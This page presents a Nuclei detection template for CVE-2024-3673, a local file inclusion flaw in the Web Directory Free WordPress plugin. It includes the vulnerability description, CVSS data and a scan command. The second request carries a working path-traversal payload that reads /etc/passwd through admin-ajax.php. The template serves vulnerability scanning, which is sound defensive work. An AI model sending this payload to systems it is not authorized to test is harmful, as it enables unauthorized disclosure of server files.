Web Directory Free < 1.7.3 - Local File Inclusion

ID: CVE-2024-3673

Severity: critical

Author: s4e-io

Tags: cve,cve2024,wordpress,wp-plugin,wp,lfi,web-directory-free

Description

The Web Directory Free WordPress plugin before 1.7.3 does not validate a parameter before using it in an include(), which could lead to Local File Inclusion issues.

YAML Source

id: CVE-2024-3673

info:
  name: Web Directory Free < 1.7.3 - Local File Inclusion
  author: s4e-io
  severity: critical
  description: |
    The Web Directory Free WordPress plugin before 1.7.3 does not validate a parameter before using it in an include(), which could lead to Local File Inclusion issues.
  remediation: Fixed in 1.7.3
  reference:
    - https://wpscan.com/vulnerability/0e8930cb-e176-4406-a43f-a6032471debf/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3673
    - https://vuldb.com/?id.276216
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
    cvss-score: 9.1
    cve-id: CVE-2024-3673
    epss-score: 0.00043
    epss-percentile: 0.09573
  metadata:
    verified: true
    max-request: 2
    vendor: salephpscripts
    product: web-directory-free
    publicwww-query: "/wp-content/plugins/web-directory-free"
  tags: cve,cve2024,wordpress,wp-plugin,wp,lfi,web-directory-free

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/web-directory-free")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        from_set_ajax=1&action=w2dc_controller_request&template=../../../../../etc/passwd

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c56a7e84328ce951e0525ad6e2643e9358a3e0e6d41eb4a43ee4503fddad518e02200bf2d064c764f8495697278992fb2c919624e29a40b54afb2c152fb025073e5f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-3673.yaml"

View on Github